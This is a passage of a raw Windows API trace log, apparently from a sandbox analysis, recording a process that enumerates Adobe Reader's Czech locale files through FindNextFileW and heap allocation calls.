0x1259108 [0081.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a0a0 [0081.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.656] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CZE", cAlternateFileName="")) returned 1 [0081.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259128 [0081.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a1a8 [0081.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.657] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CZE", cAlternateFileName="")) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259148 [0081.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a2b0 [0081.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6900) returned 0x126d560 [0081.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.659] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CZE", cAlternateFileName="")) returned 1 [0081.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259168 [0081.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a3b8 [0081.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.661] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CZE", cAlternateFileName="")) returned 1 [0081.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259188 [0081.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a4c0 [0081.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.662] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CZE", cAlternateFileName="")) returned 1 [0081.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12591a8 [0081.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a5c8 [0081.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CZE", cAlternateFileName="")) returned 1 [0081.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12591c8 [0081.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a6d0 [0081.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.665] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CZE", cAlternateFileName="")) returned 1 [0081.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12591e8 [0081.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a7d8 [0081.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.666] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CZE", cAlternateFileName="")) returned 1 [0081.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259208 [0081.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a8e0 [0081.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.667] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CZE", cAlternateFileName="")) returned 1 [0081.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259228 [0081.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126a9e8 [0081.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CZE", cAlternateFileName="")) returned 1 [0081.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259248 [0081.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126aaf0 [0081.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.670] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CZE", cAlternateFileName="")) returned 1 [0081.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259268 [0081.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126abf8 [0081.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.672] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CZE", cAlternateFileName="")) returned 1 [0081.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259288 [0081.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126ad00 [0081.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.673] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CZE", cAlternateFileName="")) returned 1 [0081.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12592a8 [0081.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126ae08 [0081.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CZE", cAlternateFileName="")) returned 1 [0081.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12592c8 [0081.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126af10 [0081.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.676] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CZE", cAlternateFileName="")) returned 1 [0081.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12592e8 [0081.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b018 [0081.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.677] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.677] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0081.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259308 [0081.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b120 [0081.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.678] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CZE", cAlternateFileName="")) returned 1 [0081.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259328 [0081.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b228 [0081.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.680] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 1 [0081.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259348 [0081.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x126b330 [0081.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6940) returned 0x1273e68 [0081.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CZE", cAlternateFileName="")) returned 0 [0081.682] GetLastError () returned 0x12 [0081.682] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0081.682] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.682] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, 